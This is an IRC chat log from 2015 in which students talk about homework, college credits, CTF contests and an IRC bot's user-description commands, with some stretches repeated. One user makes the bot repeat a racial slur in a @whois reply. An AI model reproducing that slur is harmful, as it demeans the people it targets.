[2015-03-11T07:11:00-0400] <JacobEdelman> These are the kinda people that keep my ego from getting too large
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[2015-03-10T23:39:22-0400] <Hyper> agadflh
[2015-03-10T23:45:38-0400] <ubuntor> oh, we could play devops against humanity: https://github.com/ajanata/PretendYoureXyzzy/wiki/Cardcast
[2015-03-10T23:46:34-0400] <Hyper> ubuntor: not tonight, it seems
[2015-03-10T23:46:46-0400] <ubuntor> next time?
[2015-03-10T23:46:50-0400] <Hyper> sure
[2015-03-10T23:46:52-0400] <Hyper> i'd be down
[2015-03-10T23:47:09-0400] <jwoglom> devops against humanity is pretty awesome
[2015-03-10T23:47:14-0400] <Tamini> it's pretty funny
[2015-03-10T23:47:20-0400] <Tamini> but there are a bunch of sorta
[2015-03-10T23:47:22-0400] <Tamini> insta-win cards
[2015-03-10T23:47:25-0400] <Tamini> which ruins the game a bit
[2015-03-10T23:47:33-0400] <jwoglom> there are also some weird ones
[2015-03-10T23:47:43-0400] <Tamini> mm, yeah
[2015-03-10T23:47:50-0400] <Tamini> we could also totally build a custom deck
[2015-03-10T23:48:05-0400] <jwoglom> if anyone's willing to put in the time
[2015-03-10T23:48:09-0400] <jwoglom> that would be pretty cool
[2015-03-11T00:20:44-0400] <LittleBobbyTables> Why do I have to put a credit card for DO
[2015-03-11T00:30:28-0400] <Pharyngeal> LittleBobbyTables: To pay for it?
[2015-03-11T00:31:08-0400] <LittleBobbyTables> But I have $100 in credit
[2015-03-11T00:36:28-0400] <nezorg> well i discovered this gem for the first time today https://www.reddit.com/r/Ooer
[2015-03-11T00:36:50-0400] <Tamini> cough shouldnt you be doing homework
[2015-03-11T00:36:51-0400] <Tamini> and loool
[2015-03-11T00:37:04-0400] <LittleBobbyTables> Didn't I link that awhile ago
[2015-03-11T00:37:24-0400] <nezorg> iunno
[2015-03-11T00:37:30-0400] <nezorg> Tamini: >implying reddit isn't homework
[2015-03-11T00:37:38-0400] <Tamini> it's not? :P
[2015-03-11T01:40:55-0400] <grantwu> meep
[2015-03-11T01:47:55-0400] <Tamini> meow
[2015-03-11T01:52:47-0400] <grantwu> Have you done your homework
[2015-03-11T01:53:13-0400] <Tamini> i'm doing it now
[2015-03-11T01:53:25-0400] <grantwu> but then why are you reading this :O
[2015-03-11T01:53:35-0400] <Tamini> irc lit up!
[2015-03-11T01:53:35-0400] <grantwu> dun dun dun
[2015-03-11T01:54:36-0400] <Tamini> also i just took a shower so i wouldnt fall asleep on my homework
[2015-03-11T01:54:41-0400] <Tamini> so i'm technically still on break!
[2015-03-11T01:55:31-0400] <grantwu> ...Your break ended in the middle of the week?
[2015-03-11T01:55:36-0400] <Tamini> i meant
[2015-03-11T01:55:37-0400] <Tamini> like
[2015-03-11T01:55:40-0400] <Tamini> on break from homework
[2015-03-11T01:55:44-0400] <grantwu> oh
[2015-03-11T01:55:58-0400] <grantwu> https://www.musixmatch.com/lyrics/Klein-Four/Finite-Simple-Group-of-Order-Two friend posted this on his gf's wall...
[2015-03-11T01:56:00-0400] <grantwu> smh...
[2015-03-11T01:56:09-0400] <Tamini> this song is so good!
[2015-03-11T01:56:24-0400] <Tamini> i know all the words already :P
[2015-03-11T01:57:09-0400] <grantwu> oh
[2015-03-11T01:57:11-0400] <grantwu> I don't...
[2015-03-11T02:00:15-0400] • grantwu: goes back into his hole
[2015-03-11T07:09:58-0400] <JacobEdelman> I am friends with not one but two Intel Talen Search Finalists (top 40) who are going to DC and meeting Obama
[2015-03-11T07:10:37-0400] <JacobEdelman> Alex Lin (Who is in Pact and I think did his work as part of Pact) and Brice Huang (Who is a crazy smart math person from my school who is also helping to run HSCTF)
[2015-03-11T07:11:00-0400] <JacobEdelman> These are the kinda people that keep my ego from getting too large
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[2015-03-11T11:09:29-0400] Set by awe on February 24, 2015 at 12:36:51 AM EST
[2015-03-10T23:39:22-0400] <Hyper> agadflh
[2015-03-10T23:45:38-0400] <ubuntor> oh, we could play devops against humanity: https://github.com/ajanata/PretendYoureXyzzy/wiki/Cardcast
[2015-03-10T23:46:34-0400] <Hyper> ubuntor: not tonight, it seems
[2015-03-10T23:46:46-0400] <ubuntor> next time?
[2015-03-10T23:46:50-0400] <Hyper> sure
[2015-03-10T23:46:52-0400] <Hyper> i'd be down
[2015-03-10T23:47:09-0400] <jwoglom> devops against humanity is pretty awesome
[2015-03-10T23:47:14-0400] <Tamini> it's pretty funny
[2015-03-10T23:47:20-0400] <Tamini> but there are a bunch of sorta
[2015-03-10T23:47:22-0400] <Tamini> insta-win cards
[2015-03-10T23:47:25-0400] <Tamini> which ruins the game a bit
[2015-03-10T23:47:33-0400] <jwoglom> there are also some weird ones
[2015-03-10T23:47:43-0400] <Tamini> mm, yeah
[2015-03-10T23:47:50-0400] <Tamini> we could also totally build a custom deck
[2015-03-10T23:48:05-0400] <jwoglom> if anyone's willing to put in the time
[2015-03-10T23:48:09-0400] <jwoglom> that would be pretty cool
[2015-03-11T00:20:44-0400] <LittleBobbyTables> Why do I have to put a credit card for DO
[2015-03-11T00:30:28-0400] <Pharyngeal> LittleBobbyTables: To pay for it?
[2015-03-11T00:31:08-0400] <LittleBobbyTables> But I have $100 in credit
[2015-03-11T00:36:28-0400] <nezorg> well i discovered this gem for the first time today https://www.reddit.com/r/Ooer
[2015-03-11T00:36:50-0400] <Tamini> cough shouldnt you be doing homework
[2015-03-11T00:36:51-0400] <Tamini> and loool
[2015-03-11T00:37:04-0400] <LittleBobbyTables> Didn't I link that awhile ago
[2015-03-11T00:37:24-0400] <nezorg> iunno
[2015-03-11T00:37:30-0400] <nezorg> Tamini: >implying reddit isn't homework
[2015-03-11T00:37:38-0400] <Tamini> it's not? :P
[2015-03-11T01:40:55-0400] <grantwu> meep
[2015-03-11T01:47:55-0400] <Tamini> meow
[2015-03-11T01:52:47-0400] <grantwu> Have you done your homework
[2015-03-11T01:53:13-0400] <Tamini> i'm doing it now
[2015-03-11T01:53:25-0400] <grantwu> but then why are you reading this :O
[2015-03-11T01:53:35-0400] <Tamini> irc lit up!
[2015-03-11T01:53:35-0400] <grantwu> dun dun dun
[2015-03-11T01:54:36-0400] <Tamini> also i just took a shower so i wouldnt fall asleep on my homework
[2015-03-11T01:54:41-0400] <Tamini> so i'm technically still on break!
[2015-03-11T01:55:31-0400] <grantwu> ...Your break ended in the middle of the week?
[2015-03-11T01:55:36-0400] <Tamini> i meant
[2015-03-11T01:55:37-0400] <Tamini> like
[2015-03-11T01:55:40-0400] <Tamini> on break from homework
[2015-03-11T01:55:44-0400] <grantwu> oh
[2015-03-11T01:55:58-0400] <grantwu> https://www.musixmatch.com/lyrics/Klein-Four/Finite-Simple-Group-of-Order-Two friend posted this on his gf's wall...
[2015-03-11T01:56:00-0400] <grantwu> smh...
[2015-03-11T01:56:09-0400] <Tamini> this song is so good!
[2015-03-11T01:56:24-0400] <Tamini> i know all the words already :P
[2015-03-11T01:57:09-0400] <grantwu> oh
[2015-03-11T01:57:11-0400] <grantwu> I don't...
[2015-03-11T02:00:15-0400] • grantwu: goes back into his hole
[2015-03-11T07:09:58-0400] <JacobEdelman> I am friends with not one but two Intel Talen Search Finalists (top 40) who are going to DC and meeting Obama
[2015-03-11T07:10:37-0400] <JacobEdelman> Alex Lin (Who is in Pact and I think did his work as part of Pact) and Brice Huang (Who is a crazy smart math person from my school who is also helping to run HSCTF)
[2015-03-11T07:11:00-0400] <JacobEdelman> These are the kinda people that keep my ego from getting too large
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[2015-03-11T11:13:32-0400] <+awe> jwoglom: /shrug
[2015-03-11T11:13:33-0400] <+awe> erm
[2015-03-11T11:13:34-0400] <+awe> Dammit.
[2015-03-11T11:13:50-0400] <+awe> I should force one of you to not start with a j. :p
[2015-03-11T11:14:03-0400] <+awe> JacobEdelman: /shrug
[2015-03-11T11:14:22-0400] <JacobEdelman> ?
[2015-03-11T11:14:57-0400] <jwoglom> Hello awe
[2015-03-11T11:15:27-0400] <+awe> JacobEdelman: I don't think the fact that other people perceive them as being incredible should really impact how good you feel about your own capabilities.
[2015-03-11T11:15:30-0400] <+awe> hi jwoglom 
[2015-03-11T11:15:45-0400] <+awe> "Account Limits 400 credits daily"
[2015-03-11T11:15:53-0400] <+awe> "Credits Remain -20
[2015-03-11T11:15:53-0400] <+awe> Used Today 7"
[2015-03-11T11:15:58-0400] <JacobEdelman> awe: no, but how I perceive other people impacts what I think of my own abilities
[2015-03-11T11:16:21-0400] <+awe> I don't know what your standard is for "daily," SendGrid, but I don't see a reason why my remaining credits are -20 right now.
[2015-03-11T11:16:22-0400] <JacobEdelman> awe: I have a habit of getting to egoitistic, and going ahead with stupid ideas
[2015-03-11T11:16:40-0400] <+awe> JacobEdelman: The better solution there is to have better ideas.
[2015-03-11T11:17:41-0400] <JacobEdelman> awe: that reminds me of something in HPMOR, to paraphrase, the main character can't help but feel guilty when somebody asks him for help and he can't give it, even if its impossible to help them unless he is god, he decided the solution was to hurry up and become god
[2015-03-11T11:18:47-0400] <+awe> Indeed.
[2015-03-11T11:18:52-0400] <+awe> That is the right solution.
[2015-03-11T11:21:20-0400] <JacobEdelman> well, still, I need to know that I can come up with bad ideas, and be able to recognize them for that
[2015-03-11T11:21:30-0400] <JacobEdelman> then I can know to come up with better ideas :P
[2015-03-11T11:21:42-0400] <+awe> Have you realized that lark is a bad idea yet?
[2015-03-11T11:27:47-0400] <+awe> JacobEdelman: ^
[2015-03-11T11:27:56-0400] <JacobEdelman> nope!
[2015-03-11T11:28:04-0400] <JacobEdelman> more I learn the more I like it
[2015-03-11T11:28:07-0400] <JacobEdelman> I took a break for a bit
[2015-03-11T11:28:13-0400] <JacobEdelman> but I'll get back to it eventually
[2015-03-11T11:30:09-0400] <+awe> .-.
[2015-03-11T11:30:10-0400] <+awe> why
[2015-03-11T11:30:14-0400] <+awe> WHY JacobEdelman WHY
[2015-03-11T11:34:01-0400] <+awe> https://github.com/Geal/nom
[2015-03-11T11:34:07-0400] <+awe> Also, look, we're getting real parser combinators now.
[2015-03-11T11:35:48-0400] <+awe> JacobEdelman: https://github.com/Geal/nom_benchmarks
[2015-03-11T11:35:58-0400] <+awe> JacobEdelman: specifically https://github.com/Geal/nom_benchmarks#after-some-optimizations
[2015-03-11T11:42:38-0400] <JacobEdelman> cool
[2015-03-11T11:44:07-0400] <+awe> It seems like ergonomics still leave some things to be desired, but it's definitely fast as hell.
[2015-03-11T11:46:56-0400] <+awe> Pharyngeal: I think I'll ask my probability professor about funding at Penn.
[2015-03-11T11:47:13-0400] <JacobEdelman> awe: isn't it a bit early to be worrying about that?
[2015-03-11T11:47:21-0400] <+awe> Not really.
[2015-03-11T11:47:36-0400] <+awe> I'm going to be a junior next year.
[2015-03-11T11:50:54-0400] <+awe> Hyper: I actually cannot bring my laptop at all next week.
[2015-03-11T11:51:09-0400] <+awe> Hyper: So, unless I come up with something clever, my streak is ded.
[2015-03-11T11:51:35-0400] <+awe> I could program very painfully on my phone over SSH.
[2015-03-11T11:54:36-0400] <+awe> Oh, I could make it a goal to create an issue every day on my IRC library both so that I have a bunch to do, and I keep the streak.
[2015-03-11T12:12:10-0400] <JacobEdelman> awe: wait, a junior? you are skipping a year?
[2015-03-11T12:12:22-0400] <+awe> JacobEdelman: I'm class of 2017
[2015-03-11T12:12:42-0400] <JacobEdelman> wait, you're a sophmore now? why am I confused?
[2015-03-11T12:13:11-0400] <+awe> I'm graduating in three years instead of ofur.
[2015-03-11T12:13:11-0400] <+awe> four*
[2015-03-11T12:13:18-0400] <JacobEdelman> ah, that makes sense
[2015-03-11T12:13:28-0400] <+awe> So, practically speaking, next year, I'm a junior.
[2015-03-11T12:13:40-0400] <JacobEdelman> why is it taking you three years? :P
[2015-03-11T12:14:06-0400] <+awe> It should be less?
[2015-03-11T12:14:14-0400] <+awe> If I wanted to kill myself, I think I could do 2.5 years.
[2015-03-11T12:14:33-0400] <JacobEdelman> why not 2?
[2015-03-11T12:14:36-0400] <JacobEdelman> or 1.5?
[2015-03-11T12:14:39-0400] <+awe> Credit limitations.
[2015-03-11T12:14:41-0400] <JacobEdelman> :P
[2015-03-11T12:14:57-0400] <JacobEdelman> awe: what areas do you need more credits in?
[2015-03-11T12:14:58-0400] <+awe> You can only take 20 credits per semester (without jumping through lots of hoops, plus it'd be insanely hard)
[2015-03-11T12:15:16-0400] <JacobEdelman> jumping though hoops is fun!
[2015-03-11T12:15:18-0400] <JacobEdelman> :P
[2015-03-11T12:15:20-0400] <+awe> So, with 0 credits coming in, taking 20 per semester, you could finish in three years.
[2015-03-11T12:15:32-0400] <+awe> With ~ 20 credits coming in, you could finish in 2.5 years.
[2015-03-11T12:15:49-0400] <+awe> But yeah, I'm not about killing myself.
[2015-03-11T12:15:58-0400] <+awe> So, I'm good with three.
[2015-03-11T12:16:04-0400] <JacobEdelman> okay 
[2015-03-11T12:16:07-0400] <+awe> Plus, there's little benefit for me doing 2.5 really.
[2015-03-11T12:16:19-0400] <JacobEdelman> yeah
[2015-03-11T12:16:20-0400] <+awe> It'd save a lot of money, but I'd have a ton of down time before I could start my PhD.
[2015-03-11T12:17:25-0400] <+awe> And I think the winter graduations are pretty lame relative to the spring ones.
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[2015-03-11T11:21:42-0400] <+awe> Have you realized that lark is a bad idea yet?
[2015-03-11T11:27:47-0400] <+awe> JacobEdelman: ^
[2015-03-11T11:27:56-0400] <JacobEdelman> nope!
[2015-03-11T11:28:04-0400] <JacobEdelman> more I learn the more I like it
[2015-03-11T11:28:07-0400] <JacobEdelman> I took a break for a bit
[2015-03-11T11:28:13-0400] <JacobEdelman> but I'll get back to it eventually
[2015-03-11T11:30:09-0400] <+awe> .-.
[2015-03-11T11:30:10-0400] <+awe> why
[2015-03-11T11:30:14-0400] <+awe> WHY JacobEdelman WHY
[2015-03-11T11:34:01-0400] <+awe> https://github.com/Geal/nom
[2015-03-11T11:34:07-0400] <+awe> Also, look, we're getting real parser combinators now.
[2015-03-11T11:35:48-0400] <+awe> JacobEdelman: https://github.com/Geal/nom_benchmarks
[2015-03-11T11:35:58-0400] <+awe> JacobEdelman: specifically https://github.com/Geal/nom_benchmarks#after-some-optimizations
[2015-03-11T11:42:37-0400] <JacobEdelman> cool
[2015-03-11T11:44:07-0400] <+awe> It seems like ergonomics still leave some things to be desired, but it's definitely fast as hell.
[2015-03-11T11:46:56-0400] <+awe> Pharyngeal: I think I'll ask my probability professor about funding at Penn.
[2015-03-11T11:47:13-0400] <JacobEdelman> awe: isn't it a bit early to be worrying about that?
[2015-03-11T11:47:21-0400] <+awe> Not really.
[2015-03-11T11:47:36-0400] <+awe> I'm going to be a junior next year.
[2015-03-11T11:50:54-0400] <+awe> Hyper: I actually cannot bring my laptop at all next week.
[2015-03-11T11:51:09-0400] <+awe> Hyper: So, unless I come up with something clever, my streak is ded.
[2015-03-11T11:51:35-0400] <+awe> I could program very painfully on my phone over SSH.
[2015-03-11T11:54:36-0400] <+awe> Oh, I could make it a goal to create an issue every day on my IRC library both so that I have a bunch to do, and I keep the streak.
[2015-03-11T12:12:10-0400] <JacobEdelman> awe: wait, a junior? you are skipping a year?
[2015-03-11T12:12:22-0400] <+awe> JacobEdelman: I'm class of 2017
[2015-03-11T12:12:42-0400] <JacobEdelman> wait, you're a sophmore now? why am I confused?
[2015-03-11T12:13:10-0400] <+awe> I'm graduating in three years instead of ofur.
[2015-03-11T12:13:11-0400] <+awe> four*
[2015-03-11T12:13:18-0400] <JacobEdelman> ah, that makes sense
[2015-03-11T12:13:28-0400] <+awe> So, practically speaking, next year, I'm a junior.
[2015-03-11T12:13:40-0400] <JacobEdelman> why is it taking you three years? :P
[2015-03-11T12:14:06-0400] <+awe> It should be less?
[2015-03-11T12:14:14-0400] <+awe> If I wanted to kill myself, I think I could do 2.5 years.
[2015-03-11T12:14:33-0400] <JacobEdelman> why not 2?
[2015-03-11T12:14:36-0400] <JacobEdelman> or 1.5?
[2015-03-11T12:14:39-0400] <+awe> Credit limitations.
[2015-03-11T12:14:41-0400] <JacobEdelman> :P
[2015-03-11T12:14:56-0400] <JacobEdelman> awe: what areas do you need more credits in?
[2015-03-11T12:14:58-0400] <+awe> You can only take 20 credits per semester (without jumping through lots of hoops, plus it'd be insanely hard)
[2015-03-11T12:15:16-0400] <JacobEdelman> jumping though hoops is fun!
[2015-03-11T12:15:18-0400] <JacobEdelman> :P
[2015-03-11T12:15:20-0400] <+awe> So, with 0 credits coming in, taking 20 per semester, you could finish in three years.
[2015-03-11T12:15:32-0400] <+awe> With ~ 20 credits coming in, you could finish in 2.5 years.
[2015-03-11T12:15:49-0400] <+awe> But yeah, I'm not about killing myself.
[2015-03-11T12:15:58-0400] <+awe> So, I'm good with three.
[2015-03-11T12:16:04-0400] <JacobEdelman> okay 
[2015-03-11T12:16:09-0400] <+awe> Plus, there's little benefit for me doing 2.5 really.
[2015-03-11T12:16:18-0400] <JacobEdelman> yeah
[2015-03-11T12:16:20-0400] <+awe> It'd save a lot of money, but I'd have a ton of down time before I could start my PhD.
[2015-03-11T12:17:25-0400] <+awe> And I think the winter graduations are pretty lame relative to the spring ones.
[2015-03-11T13:22:36-0400] Mode is +nt
[2015-03-11T13:30:10-0400] <grantwu> Also you can take harder classes if you take more time! yey...
[2015-03-11T13:44:37-0400] <+awe> grantwu: Well, I'd have to take the harder classes either way?
[2015-03-11T13:45:31-0400] <grantwu> What do you mean?
[2015-03-11T13:45:40-0400] <+awe> I can't graduate if I don't take the higher level CS courses?
[2015-03-11T13:47:14-0400] <grantwu> Well, you have electives, right?
[2015-03-11T13:47:21-0400] <+awe> Two?
[2015-03-11T13:47:27-0400] <grantwu> Interesting
[2015-03-11T13:47:37-0400] <+awe> I mean,  I can use any free space I have to take whatever I want.
[2015-03-11T13:47:41-0400] <+awe> But we only *have* to take two electives.
[2015-03-11T13:47:50-0400] <+awe> But that doesn't mean I can take harder classes.
[2015-03-11T13:47:53-0400] <+awe> That means I can take more classes.
[2015-03-11T13:47:54-0400] <grantwu> Interesting... I have to take like 5 or 6, I think.
[2015-03-11T13:48:27-0400] <+awe> Well, most students have a requirement for five electives,
[2015-03-11T13:48:42-0400] <+awe> But I'm taking a specific track.
[2015-03-11T13:48:47-0400] <+awe> https://www.cs.umass.edu/ugrad-education/theory-computation
[2015-03-11T13:48:57-0400] <+awe> And I'm combining it with https://www.cs.umass.edu/ugrad-education/programming-languages-compilers
[2015-03-11T13:49:19-0400] <+awe> By picking OS for the middle category, and Compilers and PLs for my electives.
[2015-03-11T13:51:07-0400] <grantwu> I see
[2015-03-11T13:51:29-0400] <+awe> So, I guess those are "electives" in a sense.
[2015-03-11T13:51:32-0400] <+awe> I elected to take the track.
[2015-03-11T13:51:59-0400] <+awe> Means I don't have to take AI.
[2015-03-11T13:52:00-0400] <grantwu> Yah
[2015-03-11T13:52:14-0400] <+awe> But it does require me to take Software Engineering which is total buns.
[2015-03-11T13:53:07-0400] <grantwu> What does "buns" mean?
[2015-03-11T13:53:16-0400] <+awe> Bad.
[2015-03-11T13:53:18-0400] <grantwu> (I like buns.  Buns are yummy.)
[2015-03-11T13:53:25-0400] <+awe> I mean it in the sense of the word butt.
[2015-03-11T13:53:44-0400] <grantwu> But but http://en.wikipedia.org/wiki/Baozi#mediaviewer/File:Nangua_Baozi_(chinese_dumplings).jpg buns
[2015-03-11T13:53:51-0400] <grantwu> huehuehue
[2015-03-11T14:05:10-0400] <+awe> grantwu: mmm
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[2015-03-11T14:07:52-0400] <failedxyz> hei
[2015-03-11T14:07:54-0400] <failedxyz> anyone here
[2015-03-11T14:08:02-0400] <grantwu> No
[2015-03-11T14:08:09-0400] <grantwu> I'm still in a hole
[2015-03-11T14:08:14-0400] • grantwu: looks out of the hole.
[2015-03-11T14:08:30-0400] <failedxyz> oh
[2015-03-11T14:08:39-0400] • failedxyz: starts filling the hole in with dirt
[2015-03-11T14:08:56-0400] <+awe> I'm here.
[2015-03-11T14:09:02-0400] <grantwu> sdfjdsflkla;sdjlaksdkfjkjksldj
[2015-03-11T14:09:11-0400] <JacobEdelman> I'm here
[2015-03-11T14:09:14-0400] • grantwu: puts all the dirt on failedxyz.
[2015-03-11T14:12:02-0400] • failedxyz: cries in the corner
[2015-03-11T14:27:28-0400] <grantwu> lulz CMU used to run a freenode server.
[2015-03-11T14:27:41-0400] <grantwu> And we had the misfortune of getting hubbard.freenode.net
[2015-03-11T14:27:46-0400] <grantwu> Well, CMU Computer Club
[2015-03-11T14:30:18-0400] <+awe> sux.
[2015-03-11T14:30:42-0400] <grantwu> Then we got DDoSed and it was bringing down the entire campus uplink.
[2015-03-11T14:30:47-0400] <grantwu> So we no longer run a server.
[2015-03-11T14:33:43-0400] <failedxyz> lol
[2015-03-11T14:34:17-0400] <+awe> grantwu: That's disappointing.
[2015-03-11T14:36:16-0400] <grantwu> Hrm I need to eat on $40 a week next year
[2015-03-11T14:36:22-0400] <grantwu> Groceries will be interesting.
[2015-03-11T14:37:21-0400] <Hyper> grantwu: try never eating lunch ;)
[2015-03-11T14:37:32-0400] <grantwu> Hyper: I can't do that.
[2015-03-11T14:37:38-0400] <Hyper> heh
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[2015-03-11T14:37:40-0400] <grantwu> Considering I already don't eat breakfast.
[2015-03-11T14:37:48-0400] <Hyper> lol
[2015-03-11T14:37:50-0400] <Hyper> fair enough
[2015-03-11T14:39:07-0400] <grantwu> Still it means minimal eating out.
[2015-03-11T14:39:25-0400] <grantwu> I think I can get away with one protein a week + tofu
[2015-03-11T14:39:46-0400] <+awe> http://www.google.com/chromebook/pixel/
[2015-03-11T14:39:49-0400] <+awe> Welp, Google updated it now.
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[2015-03-11T14:41:14-0400] <grantwu> Too expensive.
[2015-03-11T14:41:14-0400] <assface> guten tag mein amigos
[2015-03-11T14:41:30-0400] <+awe> hey assface 
[2015-03-11T14:41:35-0400] <+awe> grantwu: I mean, the Macbook is also really expensive.
[2015-03-11T14:41:51-0400] <grantwu> Too expensive for the amount of storage it has, I mean 
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[2015-03-11T14:44:00-0400] <grantwu> Especially with Toshiba's 1080p $400 chromebook in existence.
[2015-03-11T14:46:18-0400] <+awe> Oh, okay.
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[2015-03-11T14:49:36-0400] <+awe> ahoy, fwilson
[2015-03-11T14:50:17-0400] <fwilson> hi awe!
[2015-03-11T14:50:31-0400] <+awe> What brings you here? (I know you're TJ-folk)
[2015-03-11T14:51:46-0400] <fwilson> Tamini invited me
[2015-03-11T14:51:56-0400] <fwilson> ¯\_(ツ)_/¯
[2015-03-11T14:52:12-0400] <+awe> Heh, fair enough.
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[2015-03-11T14:52:47-0400] <failedxyz> hi
[2015-03-11T14:53:16-0400] <+awe> hi failedxyz
[2015-03-11T14:54:18-0400] <failedxyz> i'm remaking heibot so it can be more helpful and less annoying
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[2015-03-11T15:02:56-0400] <JacobEdelman> fwilson: hi
[2015-03-11T15:03:05-0400] <failedxyz> hi
[2015-03-11T15:03:28-0400] <fwilson> JacobEdelman: woah hi
[2015-03-11T15:03:44-0400] <JacobEdelman> why the "woah"?
[2015-03-11T15:03:51-0400] <failedxyz> lol
[2015-03-11T15:04:54-0400] <fwilson> JacobEdelman: i remember you from some channel on freenode, or something
[2015-03-11T15:05:08-0400] <fwilson> awebot: help
[2015-03-11T15:05:12-0400] <fwilson> wow rude :(
[2015-03-11T15:05:12-0400] <JacobEdelman> picoctf? hsctf? [any high school]ctf?
[2015-03-11T15:05:15-0400] <fwilson> pico
[2015-03-11T15:05:17-0400] <fwilson> yeah
[2015-03-11T15:05:22-0400] <JacobEdelman> did you do hsctf?
[2015-03-11T15:05:26-0400] <fwilson> no
[2015-03-11T15:05:36-0400] <JacobEdelman> ahh
[2015-03-11T15:05:38-0400] <JacobEdelman> you should
[2015-03-11T15:05:40-0400] <fwilson> i did cyberskyline last saturday though
[2015-03-11T15:05:41-0400] <failedxyz> pico 2013?
[2015-03-11T15:05:44-0400] <failedxyz> or 2014
[2015-03-11T15:05:45-0400] <failedxyz> or both
[2015-03-11T15:05:45-0400] <fwilson> nope, 2014
[2015-03-11T15:05:49-0400] <fwilson> your nick looks familiar too
[2015-03-11T15:05:50-0400] <JacobEdelman> do hsctf
[2015-03-11T15:05:55-0400] <fwilson> ¯\_(ツ)_/¯
[2015-03-11T15:05:59-0400] <JacobEdelman> the people who run hsctf are amazing!
[2015-03-11T15:06:01-0400] <failedxyz> i'm the annoying one
[2015-03-11T15:06:08-0400] <failedxyz> so my name sticks
[2015-03-11T15:06:11-0400] <failedxyz> lol
[2015-03-11T15:07:07-0400] <+awe> fwilson: I never write help messages. ;)
[2015-03-11T15:07:27-0400] <+awe> Although, implementing help for awebot might not be that bad.
[2015-03-11T15:07:37-0400] <failedxyz> awebot: hi
[2015-03-11T15:07:44-0400] <+awe> Add a second function to every library that sends a message with the commands it adds.
[2015-03-11T15:07:58-0400] <JacobEdelman> ... see, if I say "the people who run hsctf are amazing!" it comes off as creepy unless somebody gives the context
[2015-03-11T15:08:01-0400] <JacobEdelman> (I run hsctf)
[2015-03-11T15:08:02-0400] <+awe> and then help would be a built-in command that iterates over all the loaded libraries and calls that function.
[2015-03-11T15:08:37-0400] <+awe> @whois awe
[2015-03-11T15:08:38-0400] <+awebot> awe: awe is the Dark Lord of Strong, Static Typing and the Benevolent Dictator for Life of Pdgn.
[2015-03-11T15:08:42-0400] <+awe> @whois JacobEdelman
[2015-03-11T15:08:42-0400] <+awebot> awe: JacobEdelman is alokpathy
[2015-03-11T15:08:46-0400] <+awe> That's confusing.
[2015-03-11T15:09:04-0400] <+awe> That's one of the features awebot has. You can tell him who you are by going: @iam some description.
[2015-03-11T15:09:06-0400] <JacobEdelman> yes, yes it is
[2015-03-11T15:09:08-0400] <failedxyz> lol
[2015-03-11T15:09:10-0400] <failedxyz> wait
[2015-03-11T15:09:13-0400] <failedxyz> oh
[2015-03-11T15:09:15-0400] <grantwu> @whois alokpathy
[2015-03-11T15:09:16-0400] <+awebot> grantwu: alokpathy is love, alokpathy is life
[2015-03-11T15:09:19-0400] <failedxyz> @iam not failedxyz
[2015-03-11T15:09:19-0400] <+awebot> failedxyz: Got it!
[2015-03-11T15:09:22-0400] <failedxyz> @whois failedxyz
[2015-03-11T15:09:22-0400] <+awebot> failedxyz: failedxyz is not failedxyz
[2015-03-11T15:09:26-0400] <failedxyz> perfect
[2015-03-11T15:09:31-0400] <JacobEdelman> @iam .
[2015-03-11T15:09:31-0400] <+awebot> JacobEdelman: Got it!
[2015-03-11T15:09:37-0400] <JacobEdelman> @whois JacobEdelman
[2015-03-11T15:09:37-0400] <+awebot> JacobEdelman: JacobEdelman is .
[2015-03-11T15:09:44-0400] <JacobEdelman> @iam  
[2015-03-11T15:09:44-0400] <+awebot> JacobEdelman: Got it!
[2015-03-11T15:09:45-0400] <+awe> What other plugins do I have loaded on awebot right now?
[2015-03-11T15:09:46-0400] <JacobEdelman> @whois JacobEdelman
[2015-03-11T15:09:46-0400] <+awebot> JacobEdelman: JacobEdelman is  
[2015-03-11T15:09:52-0400] <+awe> @tell fwilson Hi!
[2015-03-11T15:09:52-0400] <+awebot> awe: I'll let them know!
[2015-03-11T15:10:04-0400] <failedxyz> @tell awebot hi
[2015-03-11T15:10:04-0400] <+awebot> failedxyz: I'm right here!
[2015-03-11T15:10:08-0400] <failedxyz> :o nice
[2015-03-11T15:10:16-0400] <failedxyz> @tell awe hi
[2015-03-11T15:10:16-0400] <+awebot> failedxyz: I'll let them know!
[2015-03-11T15:10:21-0400] <+awe> lol
[2015-03-11T15:10:21-0400] <+awebot> awe: Moments ago, failedxyz said hi.
[2015-03-11T15:10:28-0400] <grantwu> @whois grantwu
[2015-03-11T15:10:28-0400] <+awebot> grantwu: grantwu is \n\n\n
[2015-03-11T15:10:31-0400] <grantwu> hrm.
[2015-03-11T15:10:33-0400] <failedxyz> lol
[2015-03-11T15:10:39-0400] <+awe> grantwu: it's sanitized, fool.
[2015-03-11T15:10:41-0400] <grantwu> @iam the resident cat.
[2015-03-11T15:10:42-0400] <+awebot> grantwu: Got it!
[2015-03-11T15:10:54-0400] <failedxyz> @whois failedxyz
[2015-03-11T15:10:55-0400] <+awebot> failedxyz: failedxyz is a niggr
[2015-03-11T15:10:57-0400] <grantwu> awe: I'm bored :(
[2015-03-11T15:10:58-0400] <+awe> I can tell awebot to join channels and stuff.
[2015-03-11T15:11:14-0400] <+awe> grantwu: I'm studying for a probability exam :)
[2015-03-11T15:11:27-0400] <+awe> It looks like it's not going to be as brutal as that homework assignment was though.
[2015-03-11T15:11:33-0400] <grantwu> Well, I'm on break... sigh I should study...
[2015-03-11T15:12:05-0400] <failedxyz> lol
[2015-03-11T15:12:10-0400] <failedxyz> story of my life
[2015-03-11T15:12:13-0400] <failedxyz> @whois failedxyz
[2015-03-11T15:12:13-0400] <+awebot> failedxyz: failedxyz is IOException (http://osu.ppy.sh/u/IOException)
[2015-03-11T15:12:18-0400] <failedxyz> nah
[2015-03-11T15:12:19-0400] <failedxyz> too long
[2015-03-11T15:12:30-0400] <failedxyz> @whois failedxyz
[2015-03-11T15:12:31-0400] <+awebot> failedxyz: failedxyz is not failedxyz
[2015-03-11T15:13:54-0400] <+awe> grantwu: "730 people, What is the probability that everyone has different birthdays?"
[2015-03-11T15:14:09-0400] <+awe> grantwu: "MORE PIGEONS THAN HOLES. I AM OUT.
[2015-03-11T15:14:10-0400] <+awe> "
[2015-03-11T15:14:36-0400] <failedxyz> wat
[2015-03-11T15:14:38-0400] <+awe> grantwu: I'm on break next week, but I'm going to be busy the entire time.
[2015-03-11T15:14:44-0400] <+awe> Pigeon hole principle.
[2015-03-11T15:14:46-0400] <grantwu> Don't you mean, more holes than pigeons?
[2015-03-11T15:14:59-0400] <failedxyz> no
[2015-03-11T15:15:02-0400] <failedxyz> more pigeons than holes
[2015-03-11T15:15:02-0400] <grantwu> If you have n pigeons, and n+1 holes, at least one pigeon has at least two holes
